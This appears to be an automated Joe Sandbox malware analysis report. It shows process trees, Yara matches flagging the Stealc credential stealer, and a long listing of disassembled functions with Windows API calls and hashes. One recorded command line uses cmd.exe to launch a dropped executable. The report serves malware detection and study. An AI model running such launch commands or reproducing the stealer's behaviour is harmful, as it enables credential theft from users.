Imagebase:	0x260000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:03:02
Start date:	06/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x1b0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:03:03
Start date:	06/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x700000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2180750982.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2180750982.0000000000D87000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:03:13
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userGCGCFCBAKK.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:03:13
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.3%
Total number of Nodes:	270
Total number of Limit Nodes:	5

Executed Functions

Function 00721FE0 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 433
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(007996E0,000004E4,00000040,?), ref: 00722497

Strings

V, xrefs: 00722408

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: V
API String ID: 544645111-1342839628
Opcode ID: d0416319d7fa0b1ff99e86d31cf9e1110ebc5ba90c9ba14ba15b5b0c8585c624
Instruction ID: dbd1221a53da3f690fdb392901472c065e366b7369a5ffb459ea546e742df879
Opcode Fuzzy Hash: d0416319d7fa0b1ff99e86d31cf9e1110ebc5ba90c9ba14ba15b5b0c8585c624
Instruction Fuzzy Hash: AAA1EF17634E2F16D30CB034A9522F6914AE7BA731FC14336AE66977F7E35E89039284

Function 0073A39E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction ID: c67993d5fe33aa450f7a60908500c60852c3dc388c838382bcc9097310c435c1
Opcode Fuzzy Hash: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction Fuzzy Hash: 1BE08C72A11228EBCB14DB89C94998AF3ECEB45B00F11009AF541D3102C274DE00C7D0

Function 00730C7E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction ID: d4f91997870ab6d246ae3958cfe19a2242e994f0c13099f45fa13a2a00da2a18
Opcode Fuzzy Hash: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction Fuzzy Hash: 8DC08C34041E0087EE2A8D10827ABE83354A391782F90298CC4124BA43D52E9C82D661

Function 00735C98 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,2A9612D9,?,00735DA5,0072C196,?,F8250000,00000000), ref: 00735D59

Strings

api-ms-, xrefs: 00735CEF
ext-ms-, xrefs: 00735D03

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: fdefda6a243c7909c08ce3ad4d81cfff7625fa677531dc6c5def11433ae4574e
Instruction ID: 687a203c600bf91b56308c43ccde012ff0c7fbbcfd7557e8b6deb5096332d907
Opcode Fuzzy Hash: fdefda6a243c7909c08ce3ad4d81cfff7625fa677531dc6c5def11433ae4574e
Instruction Fuzzy Hash: 9E210D71B11A15BBEB219720DC89A5A3798DB43765F244111F906AB2A3DB3CED01C6E0

Function 00738B7C Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00738D2B

Part of subcall function 007337D3: HeapAlloc.KERNEL32(00000000,00739EFA,?,?,00739EFA,00000220,?,?,?), ref: 00733805

__freea.LIBCMT ref: 00738D40
__freea.LIBCMT ref: 00738D50

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 9b648569975e5d1df3d4022b1f84a181085ea05c535d894600652f9589ea2e9c
Instruction ID: 601ce9ecf895bf3a695459e8e74574ef1284a9b132ed28e2f11dd67936c86950
Opcode Fuzzy Hash: 9b648569975e5d1df3d4022b1f84a181085ea05c535d894600652f9589ea2e9c
Instruction Fuzzy Hash: 7D51F1B261121AAFFF219F60CC85EBB36A9EF18350F150569BD04DB142EF79CC1086A1

Function 00730C0A Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00730C04,00000000,?,?,`s,2A9612D9,?,00730D60), ref: 00730C1B
TerminateProcess.KERNEL32(00000000,?,00730C04,00000000,?,?,`s,2A9612D9,?,00730D60), ref: 00730C22
ExitProcess.KERNEL32 ref: 00730C34

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: bbd47ed811509b5d82ea48b3d71e19187e666e920a3e041705329272244f8bc1
Instruction ID: 9cf344f430ed7983789e4b803e394d8dddfbfe3c7484a9e4965baa45d8dbc0de
Opcode Fuzzy Hash: bbd47ed811509b5d82ea48b3d71e19187e666e920a3e041705329272244f8bc1
Instruction Fuzzy Hash: 34D05E31000108EFDF003F60DD0D9883F6AEF45381F808011B80845033CB3988B2CAE4

Function 0073A0F8 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00739C26: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00739C51

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00739F3D,?,00000000,?,?,?), ref: 0073A159
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00739F3D,?,00000000,?,?,?), ref: 0073A19B

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 98b9aae825790b5ffdfb1a5b4f989ed5d27f3f350f1cb37484aaa19344ad971d
Instruction ID: 61656c09c635fb5d769a50d02d3eae65f3ced06ae556e1e7bc7f76505c3ab182
Opcode Fuzzy Hash: 98b9aae825790b5ffdfb1a5b4f989ed5d27f3f350f1cb37484aaa19344ad971d
Instruction Fuzzy Hash: 05513471A00249AEEB21CF75C882AABBBF4FF81300F14416ED0C287253E77D9945CB92

Function 007360B6 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00738C6A,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 007360EA
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00738C6A,?,?,00000000,?,00000000), ref: 00736108

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 782d5ebb998c101e486265cda9d56584425a042cfb12f11fd0e5b7d320653bd7
Instruction ID: 515818f723a185fc3e82974b9e0f96410adf3f1e89c1798e73b4767b97b62f9b
Opcode Fuzzy Hash: 782d5ebb998c101e486265cda9d56584425a042cfb12f11fd0e5b7d320653bd7
Instruction Fuzzy Hash: 83F0683600021EFBDF226F90DD05DDE3F66AB48760F058111BA1865022C73AC972AB91

Function 00739CFA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00739F49,00739F3D,00000000), ref: 00739D2C

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 12cf853f47ab243199fdd424701207bb388f24381c0d53fd26e040e6f9296996
Instruction ID: fd63253e0b3f3f24e8021660b30e5798f25f0e43aff8c78aa299e2c9a2907969
Opcode Fuzzy Hash: 12cf853f47ab243199fdd424701207bb388f24381c0d53fd26e040e6f9296996
Instruction Fuzzy Hash: FB513D72A082589EEB21CE28CC84BE67BBCEB55704F2405EDE59AC7143D3B99D45DF20

Function 00735D63 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3426d7925bb749e94fac3f6e4e3cdeb07997df2bab3f5f20c217e143fc3c2b0
Instruction ID: 526c84f1ad1b8cb78412039a0bf63ba5e3f2654a895b93c6ab970adc2eb2a865
Opcode Fuzzy Hash: d3426d7925bb749e94fac3f6e4e3cdeb07997df2bab3f5f20c217e143fc3c2b0
Instruction Fuzzy Hash: B3012837360611AFBB16CE6DEC88A5B3796EBC1320B248121F901DB196DB3CC8018794

Non-executed Functions

Function 0073C73B Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00734C01: GetLastError.KERNEL32(?,00000008,007391D2), ref: 00734C05
Part of subcall function 00734C01: SetLastError.KERNEL32(00000000,0074B440,00000024,00730169), ref: 00734CA7

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0073C847
IsValidCodePage.KERNEL32(00000000), ref: 0073C890
IsValidLocale.KERNEL32(?,00000001), ref: 0073C89F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0073C8E7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0073C906

Strings

\lt, xrefs: 0073C7A0

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: \lt
API String ID: 415426439-80191304
Opcode ID: c33252e52150bea5c809be528ee871c3ebd0e6ca83333555c97fb552caceb8b4
Instruction ID: 03a6190b3abb7371ae2c6f7e5a4d1540668db7d73db54dac56563581dac8630d
Opcode Fuzzy Hash: c33252e52150bea5c809be528ee871c3ebd0e6ca83333555c97fb552caceb8b4
Instruction Fuzzy Hash: 815173B2900205EFFB12DFA5CC45AFA77B8BF05700F144429EA15F7152EB789A44CBA1

Function 0073D0ED Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0073D2D1

Strings

1#IND, xrefs: 0073D1F2
1#QNAN, xrefs: 0073D200
1#INF, xrefs: 0073D223
1#SNAN, xrefs: 0073D1F9

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 49f5c2d2430b24e7faa35549b8a883965327a2ceb53a62514686562f23ea896b
Instruction ID: dba2217929a7421a1253066bc725adeb2d2699b2bfb0a952f8a6a63c23ed4fee
Opcode Fuzzy Hash: 49f5c2d2430b24e7faa35549b8a883965327a2ceb53a62514686562f23ea896b
Instruction Fuzzy Hash: F1D21972E082288FEB75CE28DD447EAB7B5EB44305F1441EAD84DE7241E778AE858F41

Function 0073BDD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00734C01: GetLastError.KERNEL32(?,00000008,007391D2), ref: 00734C05
Part of subcall function 00734C01: SetLastError.KERNEL32(00000000,0074B440,00000024,00730169), ref: 00734CA7

GetACP.KERNEL32(?,?,?,?,?,?,00731598,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0073BE98
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00731598,?,?,?,00000055,?,-00000050,?,?), ref: 0073BEC3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0073C026

Strings

\lt, xrefs: 0073BE19
utf8, xrefs: 0073BF95

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: \lt$utf8
API String ID: 607553120-2616409599
Opcode ID: 754dad3962fea5b633680d88f9935878c251b74576d2b02f0a7c5ce1e8a6a603
Instruction ID: 43b45ced5063259714e092df3d66773785d1b06508fe0c53d67e2a9fbba32783
Opcode Fuzzy Hash: 754dad3962fea5b633680d88f9935878c251b74576d2b02f0a7c5ce1e8a6a603
Instruction Fuzzy Hash: 7071D571640206EAFB29AB75CC4ABB673A8EF44740F14442AF705D7193EB7DE9408B61

Function 0073C566 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0073C884,00000002,00000000,?,?,?,0073C884,?,00000000), ref: 0073C5FF
GetLocaleInfoW.KERNEL32(?,20001004,0073C884,00000002,00000000,?,?,?,0073C884,?,00000000), ref: 0073C628
GetACP.KERNEL32(?,?,0073C884,?,00000000), ref: 0073C63D

Strings

OCP, xrefs: 0073C5BA
ACP, xrefs: 0073C584

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 51d7575542af992b1636442cc1857065c9b20582b6a190f6737141cb80b97e9b
Instruction ID: 42e8594b6f2ce1346694e0e791b96efc39aec86045c738a95b633f24e7e3a572
Opcode Fuzzy Hash: 51d7575542af992b1636442cc1857065c9b20582b6a190f6737141cb80b97e9b
Instruction Fuzzy Hash: 73219836600101EAFB368F64C901B9777A7AB54B54FA68424E90AFB112F73AEE51C350

Function 007339E2 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00733A6F

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction ID: 5799a0c9c389e1d26911f1471cf152574fb2e3e48b7795f8ecc8510a8f48445f
Opcode Fuzzy Hash: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction Fuzzy Hash: 86B15972A042459FEB358F68C881BEEBFA5EF55310F15816AE841AF283D23CDE01C761

Function 00727672 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0072767E
IsDebuggerPresent.KERNEL32 ref: 0072774A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00727763
UnhandledExceptionFilter.KERNEL32(?), ref: 0072776D

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
